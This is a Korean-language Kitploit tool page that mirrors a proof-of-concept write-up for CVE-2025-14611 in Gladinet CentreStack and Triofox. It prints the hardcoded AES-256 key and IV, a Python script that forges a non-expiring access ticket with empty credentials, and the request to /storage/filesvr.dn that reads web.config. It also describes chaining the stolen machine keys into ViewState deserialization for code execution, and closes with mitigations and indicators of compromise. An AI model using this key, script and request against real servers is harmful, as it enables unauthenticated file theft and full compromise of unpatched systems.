Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-14611-CentreStack-and-Triofox-full-Poc-Exploit — CVE-2025-14611 CentreStack 및 Triofox 전체 PoC/Exploit | Kitploit
도구/GitHubGitHub/pl4tyz/cve-2025-14611-centrestack-and-triofox-full-poc-exploit
Vulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationCryptographyPenetration TestingAuthenticationRed TeamingPayload Development
GitHubpl4tyz/cve-2025-14611-centrestack-and-triofox-full-poc-exploit

CVE-2025-14611-CentreStack-and-Triofox-full-Poc-Exploit

CVE-2025-14611 CentreStack 및 Triofox 전체 PoC/Exploit

저장소 보기
28개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-14611 CentreStack 및 Triofox 전체 Poc/Exploit

요약

이 취약점은 Gladinet CentreStack 및 Triofox 제품의 하드코딩된 암호화 키로 인해 발생하며, 위조된 액세스 티켓을 통한 임의 파일 읽기가 가능합니다. AES-256 암호화 구현은 애플리케이션 바이너리(GladCtrl64.dll)에 직접 내장된 정적이고 변경되지 않는 키를 사용합니다. 이 키를 추출한 공격자는 다음을 수행할 수 있습니다.

  1. 합법적인 액세스 티켓을 복호화하여 내부 파일 경로 및 시스템 구성을 이해합니다.
  2. 만료되지 않는 타임스탬프를 가진 악성 액세스 티켓을 위조하여 서버의 임의 파일을 읽습니다.
  3. 사용자 이름 및 비밀번호 필드를 비워두어 인증을 우회하고, 애플리케이션이 IIS 애플리케이션 풀 ID로 대체되도록 합니다.
  4. 이 취약점을 CVE-2025-30406(뷰스테이트 역직렬화)과 연결하여 원격 코드 실행을 달성합니다.

이 취약점은 16.12.10420.56791 이전의 모든 Gladinet CentreStack 및 Triofox 버전에 영향을 미치며, 적어도 2025년 11월부터 야생에서 활발히 악용되었습니다.

분석

1. 키 생성 및 저장

취약점은 GladCtrl64.dll에서 암호화 키가 생성 및 저장되는 방식에서 시작됩니다. GenerateSecKey 및 GenerateSecKey1 함수는 AES 암호화 키와 초기화 벡터(IV)를 제공하는 역할을 합니다.

키 생성 흐름:

CentreStack 서버 애플리케이션이 시작되면 SysKeyMgr 클래스가 를 호출하고, 이는 에 있는 를 호출합니다. 이 함수는 다음과 같습니다.

AccessKeyMgr64.GetSysEncKey
GladCtrl64.dll
GenerateSecKey
root@kitploit:~
PSTR sub_180001000(wchar16* arg1)
{
    int32_t cbMultiByte = WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, 
        lpWideCharStr: arg1, cchWideChar: 0xffffffff, lpMultiByteStr: nullptr, 
        cbMultiByte: 0, lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr);
    
    if (cbMultiByte != 0) {
        PSTR lpMultiByteStr = sub_1800012e0(sx.q(cbMultiByte + 2));
        
        if (lpMultiByteStr != 0) {
            if (WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, lpWideCharStr: arg1, 
                    cchWideChar: 0xffffffff, lpMultiByteStr, cbMultiByte, 
                    lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr) != 0)
                return lpMultiByteStr;
            
            sub_180001290(lpMultiByteStr);
        }
    }
    return nullptr;
}

이 함수는 Windows API WideCharToMultiByte를 사용하여 UTF-16LE 인코딩 문자열을 UTF-8로 변환하며, 코드 페이지 0xfde9(UTF-8)를 사용합니다. 소스 데이터는 두 개의 정적 메모리 위치에 저장됩니다.

  • 키 소스 (0x18000c000): 중국어 텍스트를 포함하는 100바이트 UTF-16LE 문자열
  • IV 소스 (0x18000c2c0): "moDriv"로 시작하고 일본어 텍스트가 이어지는 100바이트 UTF-16LE 문자열

중요 발견: 이 문자열은 소프트웨어의 모든 설치에서 절대 변경되지 않습니다. GenerateSecKey 함수 이름은 오해의 소지가 있습니다. 동적으로 키를 생성하지 않고 바이너리에서 미리 존재하는 정적 문자열을 단순히 반환합니다.

2. 하드코딩된 키

리버스 엔지니어링 분석을 통해 하드코딩된 키가 GladCtrl64.dll의 .data 섹션에서 추출되었습니다.

0x18000c000 메모리 (키 소스):

root@kitploit:~
0d 4e c7 8f 0c ff 03 8c e5 67 5f 4e 3e 66 3a 79
0c ff e5 65 2c 67 01 30 a6 7e e6 65 01 30 e5 4e
72 82 17 52 8c 54 ce 9e f4 5d e9 5a 49 7b fd 56
84 76 d7 53 03 8c e5 67 05 80 27 59 1a 59 a4 8b
...

UTF-16LE에서 UTF-8로 디코딩하면 중국어 텍스트가 생성됩니다.

root@kitploit:~
不过,调查也显示,日本、约旦、以色列和黎巴嫩等国的受调查者大多认为美国仍将保持自己的超级大国地位...

0x18000c2c0 메모리 (IV 소스):

root@kitploit:~
6d 6f 44 72 69 76 65 00   // "moDriv" in ASCII/UTF-16LE
65 00 6f 30 01 30 c9 30 e9 30 a4 30 d6 30 68 30
57 30 66 30 de 30 a6 30 f3 30 c8 30 67 30 4d 30
...

디코딩하면 다음과 같이 생성됩니다.

root@kitploit:~
moDriveは、ドライブとしてマウントできるので、フォルダコピー感覚で使えて超快適だが...

최종 암호화 키:

애플리케이션은 UTF-8로 인코딩된 키 소스의 처음 32바이트를 AES-256 키로 사용하고, UTF-8로 인코딩된 IV 소스의 처음 16바이트를 초기화 벡터로 사용합니다.

root@kitploit:~
AES-256 Key: e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c
AES IV:      6d6f4472697665e381afe38081e38389

3. 취약한 파일 다운로드 핸들러

취약점은 GladinetStorage.FileDownloadHandler 클래스에 매핑된 filesvr.dn HTTP 핸들러를 통해 악용됩니다. 이 핸들러는 t 쿼리 매개변수를 통해 전달된 암호화된 액세스 티켓을 처리합니다.

액세스 티켓 구조:

액세스 티켓은 AES-256-CBC로 암호화된 줄바꿈으로 구분된 필드입니다.

root@kitploit:~
라인 0: 파일 경로 (서버의 절대 경로)
라인 1: 사용자 이름 (가장할 Windows 계정)
라인 2: 비밀번호 (해당 계정의 자격 증명)
라인 3: 타임스탬프 (티켓 생성 시간)

복호화 과정:

  1. 핸들러는 t 매개변수를 수신하고 사용자 정의 삭제를 수행하여 URL 안전 문자를 교체합니다(: → +, | → /).
  2. 값은 Base64 디코딩되어 암호문을 얻습니다.
  3. AccessTicket.Decrypt가 호출되며, 정적 SysKey(처음 32바이트) 및 SysKey1(처음 16바이트)을 검색합니다.
  4. AES-256-CBC 암호가 이러한 키로 구성됩니다.
  5. 티켓이 복호화되고 구문 분석됩니다.

타임스탬프 검증 우회:

핸들러는 티켓 타임스탬프를 현재 서버 시간과 비교합니다. 티켓이 4시간보다 오래된 경우 거부됩니다. 그러나 공격자는 타임스탬프를 9999년으로 설정하여 만료되지 않는 티켓을 생성할 수 있습니다.

root@kitploit:~
9999-11-27 14:52:04.009217

이로 인해 무기한 재사용 가능한 지속적인 백도어가 생성됩니다.

4. 빈 자격 증명을 통한 인증 우회

복호화 후 핸들러는 사용자 이름 및 비밀번호 필드를 추출하고 가장 컨텍스트를 초기화하려고 시도합니다. 심각한 취약점: 두 필드가 모두 빈 문자열인 경우 가장 로직이 실패하고 IIS 애플리케이션 풀 ID로 대체됩니다.

이를 통해 인증되지 않은 임의 파일 읽기가 가능합니다. 애플리케이션이 상승된 권한으로 실행되지만 유효한 자격 증명이 필요하지 않기 때문입니다.

악성 티켓 예시:

root@kitploit:~
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217

5. 야생에서의 악용

2025년 11월부터 활발한 악용이 관찰되었습니다. 공격자는 다음 패턴을 따릅니다.

1단계: 액세스 티켓 위조

추출된 키를 사용하여 공격자는 web.config를 대상으로 암호화된 티켓을 생성합니다.

root@kitploit:~
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

AES_KEY = bytes.fromhex('e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c')
AES_IV = bytes.fromhex('6d6f4472697665e381afe38081e38389')

ticket = "C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\web.config\n\n\n9999-11-27 14:52:04.009217"
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
ciphertext = cipher.encrypt(pad(ticket.encode('utf-8'), 16))
b64 = base64.b64encode(ciphertext).decode('ascii')
url_safe = b64.replace('+', ':').replace('/', '|')

2단계: 악성 요청 전송

위조된 티켓이 취약한 엔드포인트로 전송됩니다.

root@kitploit:~
GET /storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2... HTTP/1.1
Host: vulnerable-server.com

3단계: 머신 키 추출

응답에는 머신 키가 포함된 web.config 파일이 포함됩니다.

root@kitploit:~
<machineKey 
    validationKey="ABC123..." 
    decryptionKey="DEF456..." 
    validation="SHA1" 
    decryption="AES" 
/>

4단계: CVE-2025-30406과 연결

이러한 머신 키는 뷰스테이트 역직렬화 공격을 가능하게 하여 원격 코드 실행으로 이어집니다. 공격자는 추출된 키로 서명된 악성 뷰스테이트 페이로드를 제작하여 전체 시스템 손상을 달성합니다.

6. 실제 공격 예시

관찰된 악용 시도(2025년 12월)에서:

공격자의 암호화된 티켓:

root@kitploit:~
vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL|372varAu

복호화된 내용:

root@kitploit:~
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217

공격 출처: IP 주소 147.124.216[.]205
대상 조직: 의료, 기술 및 전문 서비스 분야에서 9명의 확인된 피해자
공격 타임라인: 2025년 11월 초기 악용 시도, 2025년 12월에 확대

결론

CVE-2025-14611은 암호화 키 관리의 심각한 실패를 나타냅니다. 애플리케이션 바이너리에 직접 정적이고 변경되지 않는 키를 내장함으로써 Gladinet은 모든 설치에서 작동하는 범용 마스터 키를 만들었습니다. 이 취약점은 몇 가지 심각한 보안 실패를 보여줍니다.

  1. 하드코딩된 암호화: 정적 키를 사용하면 암호화의 모든 보안 이점이 사라집니다.
  2. 인증 우회: 빈 자격 증명 처리는 인증되지 않은 액세스를 허용합니다.
  3. 만료되지 않는 티켓: 먼 미래의 타임스탬프는 지속적인 백도어를 생성합니다.
  4. 익스플로잇 체이닝: CVE-2025-30406과 결합하면 전체 시스템 손상이 가능합니다.

완화 권장 사항:

  • 즉시: CentreStack/Triofox 버전 16.12.10420.56791 이상으로 업데이트
  • 중요: 패치 후 web.config의 머신 키 교체
  • 방어: 의심스러운 t 매개변수로 /storage/filesvr.dn에 대한 액세스를 IIS 로그에서 모니터링
  • 탐지: 지표 vghpI7EToZUDIZDdprSubL3mTZ2(web.config 경로의 암호화된 표현)를 로그에서 검색
  • 네트워크: 신뢰할 수 없는 네트워크에서 CentreStack으로의 인바운드 액세스 차단

침해 지표:

다음을 포함하는 모든 HTTP 요청:

root@kitploit:~
/storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2

이 하위 문자열은 web.config 검색을 위해 이 취약점을 악용하려는 시도를 고유하게 식별합니다.

도구 다운로드